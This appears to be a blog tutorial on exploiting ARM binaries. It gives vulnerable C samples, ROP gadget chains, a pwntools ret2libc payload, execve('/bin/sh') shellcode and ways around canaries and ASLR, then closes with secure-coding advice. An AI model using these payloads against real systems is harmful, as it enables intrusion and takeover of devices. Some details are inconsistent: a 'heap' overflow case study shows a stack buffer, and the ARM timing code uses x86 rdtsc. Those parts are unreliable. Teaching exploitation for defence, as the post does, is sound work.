Welcome to the underground. Where RISC meets risk.


Introduction: The ARM Revolution

In the neon-lit corridors of modern computing, ARM processors have become the silent architects of our digital reality. From the smartphone in your pocket to the server farms powering the cloud, ARM’s reduced instruction set has conquered territories once dominated by x86 giants.

But with great power comes great vulnerability.

Today, we’re pulling back the curtain on ARM exploitation—the art of turning elegant simplicity into catastrophic failure. Grab your hex editor and buckle up; we’re going deep into the silicon.


ARM Architecture: Know Your Target

The RISC Philosophy

ARM’s beauty lies in its simplicity:

  • Fixed-length instructions (32-bit in ARM, 16/32-bit in Thumb)
  • Load/Store architecture (operations on registers only)
  • Conditional execution (almost every instruction can be conditional)
  • Rich register set (R0-R15, including PC, SP, and LR)

Key Registers Every Exploiter Must Know

R0-R12:  General purpose registers
R13 (SP): Stack Pointer - Your gateway to stack manipulation
R14 (LR): Link Register - Return addresses live here
R15 (PC): Program Counter - Control flow incarnate
CPSR:     Current Program Status Register - Flags and modes

Pro tip: Unlike x86 where EIP is read-only, ARM’s PC can be directly manipulated. This is both a feature and a footgun.


Classic Exploitation Techniques

1. Stack Buffer Overflow: The Foundation

The bread and butter of exploitation, ARM edition.

// Vulnerable code
void vulnerable_function(char *input) {
    char buffer[64];
    strcpy(buffer, input);  // No bounds checking? Game over.
}

ARM twist: The return address lives in the Link Register (LR) before being pushed to the stack. Your overflow needs to reach the saved LR on the stack frame.

Stack layout:

[Higher addresses]
    Saved LR
    Saved FP
    Local variables
    Buffer
[Lower addresses] <- SP points here

2. Return-Oriented Programming (ROP): When NX Bites Back

Non-executable stacks? No problem. We’ll use the binary’s own code against itself.

ARM ROP gadgets hunt:

# Useful gadget: pop {r0, pc}
0x00010234: pop {r0, pc}

# Load then branch
0x00010440: ldr r3, [r5]; blx r3

# Stack pivot
0x00010778: mov sp, r4; pop {r4, pc}

ROP chain example:

# Pop our argument into r0, then jump to system()
rop_chain = [
    0x00010234,  # pop {r0, pc}
    0x00050000,  # address of "/bin/sh"
    0x00040100,  # address of system()
]

3. ret2libc: Dancing with the C Library

Who needs shellcode when libc is already executable?

payload = flat([
    b'A' * 64,           # Fill buffer
    p32(libc.symbols['system']),
    p32(0xdeadbeef),     # Fake return address
    p32(binsh_addr)      # Argument: "/bin/sh"
])

ARM consideration: Function arguments go in R0-R3. Your first argument must land in R0, not on the stack like x86.


Modern Defenses: The Arms Race

ASLR (Address Space Layout Randomization)

The challenge: Randomized library and stack addresses make hardcoded exploits obsolete.

The bypass: Information leaks become gold. Format string vulnerabilities, uninitialized memory—anything that leaks an address breaks ASLR wide open.

// Information leak example
printf(user_controlled_string);  // Format string vuln
// Leaked address -> Calculate library base -> Game on

Stack Canaries

The mechanism: Random value placed before the return address. Corruption detected on function return.

# Function prologue
push {r4, r5, r6, lr}
sub sp, sp, #72
ldr r3, .LSTACK_GUARD
ldr r3, [r3]
str r3, [sp, #68]  # Place canary

# Function epilogue
ldr r2, [sp, #68]  # Check canary
ldr r3, .LSTACK_GUARD
ldr r3, [r3]
cmp r2, r3
bne __stack_chk_fail  # Boom if corrupted

The bypass:

  • Leak the canary first (format string, buffer over-read)
  • Brute force (1 byte at a time in forking servers)
  • Overwrite the canary validation function pointer

DEP/NX (Data Execution Prevention)

The reality: Stack and heap are non-executable. No more traditional shellcode injection.

The workaround: ROP, ret2libc, or JOP (Jump-Oriented Programming). Use existing executable code.


Advanced ARM-Specific Attacks

1. Thumb Mode Exploitation

ARM processors can switch between ARM (32-bit) and Thumb (16-bit) instruction sets.

The exploitation angle:

# LSB of PC determines mode
# 0 = ARM mode, 1 = Thumb mode
mov pc, r0       # If r0 = 0x10234, ARM mode
mov pc, r1       # If r1 = 0x10235, Thumb mode

Attack: Control the LSB to execute misaligned instructions, creating new gadgets.

2. Cache Timing Attacks

ARM’s cache architecture can leak secrets through timing side-channels.

// Simplified cache timing
uint64_t time1 = rdtsc();
access_memory(address);
uint64_t time2 = rdtsc();

if (time2 - time1 < THRESHOLD) {
    // Cache hit - data was accessed recently
} else {
    // Cache miss - reveals access patterns
}

Real-world impact: Spectre and Meltdown variants on ARM processors.

3. TrustZone Exploitation

ARM TrustZone creates a “secure world” isolated from the “normal world.”

The attack surface:

  • SMC (Secure Monitor Calls) interfaces
  • Shared memory regions
  • Cryptographic oracle attacks

Famous example: The Qualcomm TrustZone vulnerabilities that allowed arbitrary code execution in the secure world.


Tools of the Trade

Essential Arsenal

  1. GDB with GEF/PEDA-ARM: Debug like a pro
    gef> checksec
    gef> vmmap
    gef> rop --search "pop {r0"
    
  2. ROPgadget: Find those precious instruction sequences
    ROPgadget --binary ./target --arch arm
    
  3. pwntools: Python exploitation framework
    from pwn import *
    context.arch = 'arm'
    shellcode = asm(shellcraft.arm.linux.sh())
    
  4. Radare2/Ghidra: Reverse engineering powerhouses

  5. QEMU: Emulate ARM environments
    qemu-arm -g 1234 ./binary
    

Real-World Case Study: The Android MediaServer Exploit

CVE-2016-2465: A critical vulnerability in Android’s mediaserver process.

The Vulnerability

A heap buffer overflow in the processing of MP4 files:

// Simplified vulnerable code
void process_mp4_atom(uint8_t *data, uint32_t size) {
    uint8_t buffer[256];
    memcpy(buffer, data, size);  // No size validation!
}

The Exploit Strategy

  1. Heap spray: Fill heap with controlled data
  2. Trigger overflow: Craft malicious MP4 with oversized atom
  3. Overwrite vtable pointer: Corrupt C++ object virtual function table
  4. Control flow hijack: Vtable points to shellcode/ROP chain
  5. Privilege escalation: mediaserver runs with elevated privileges

The Impact

Remote code execution by simply sending a crafted MMS message. Millions of devices vulnerable.


Crafting ARM Shellcode

The Minimal Shell

.section .text
.global _start

_start:
    # execve("/bin/sh", NULL, NULL)
    
    # Load "/bin/sh" address
    adr r0, binsh
    
    # Set arguments
    mov r1, #0      # argv = NULL
    mov r2, #0      # envp = NULL
    
    # Syscall number for execve
    mov r7, #11
    
    # Make the syscall
    svc #0

binsh:
    .ascii "/bin/sh\0"

Null-byte free version (for strcpy exploitation):

_start:
    # Build "/bin/sh" on stack
    eor r0, r0, r0       # Zero out r0
    eor r1, r1, r1       # Zero out r1
    eor r2, r2, r2       # Zero out r2
    
    # Push "/bin/sh" in reverse
    mov r3, #0x68        # 'h'
    lsl r3, r3, #8
    add r3, r3, #0x73    # 's'
    lsl r3, r3, #8
    add r3, r3, #0x2f    # '/'
    # ... continue building string ...

Defense in Depth: Writing Secure ARM Code

Best Practices

  1. Bounds checking everywhere:
    if (length > sizeof(buffer)) {
        return -1;  // Reject, don't truncate
    }
    memcpy(buffer, source, length);
    
  2. Use safe string functions:
    // Instead of strcpy
    strncpy(dest, src, sizeof(dest) - 1);
    dest[sizeof(dest) - 1] = '\0';
       
    // Or better yet
    strlcpy(dest, src, sizeof(dest));
    
  3. Enable compiler protections:
    gcc -fstack-protector-strong \
        -D_FORTIFY_SOURCE=2 \
        -pie -fPIE \
        -Wl,-z,relro,-z,now \
        -o binary source.c
    
  4. Input validation:
    if (user_index >= array_size || user_index < 0) {
        return ERROR;
    }
    

Conclusion: The Eternal Game

ARM exploitation is a game of cat and mouse, where silicon meets syntax, and security is always one creative bypass away from collapse. As ARM continues its dominion over mobile, IoT, and even server markets, understanding its exploitation landscape becomes not just valuable—it’s essential.

The techniques we’ve explored today are just the beginning. Every new ARM feature—from pointer authentication to memory tagging—brings new challenges and new opportunities for those willing to dive deep into the architecture.

Remember: With knowledge comes responsibility. These techniques exist to strengthen defenses, not to tear them down maliciously.

Stay curious. Stay ethical. Stay protected.


Further Reading

  • ARM Architecture Reference Manual
  • “The Shellcoder’s Handbook” - ARM chapters
  • “A Guide to ARM Exploitation” - Azeria Labs
  • CVE databases for real-world case studies
  • “Practical Reverse Engineering” by Bruce Dang


<
Previous Post
Thumb ARM Polyglot Attack
>
Blog Archive
Archive of all previous blog posts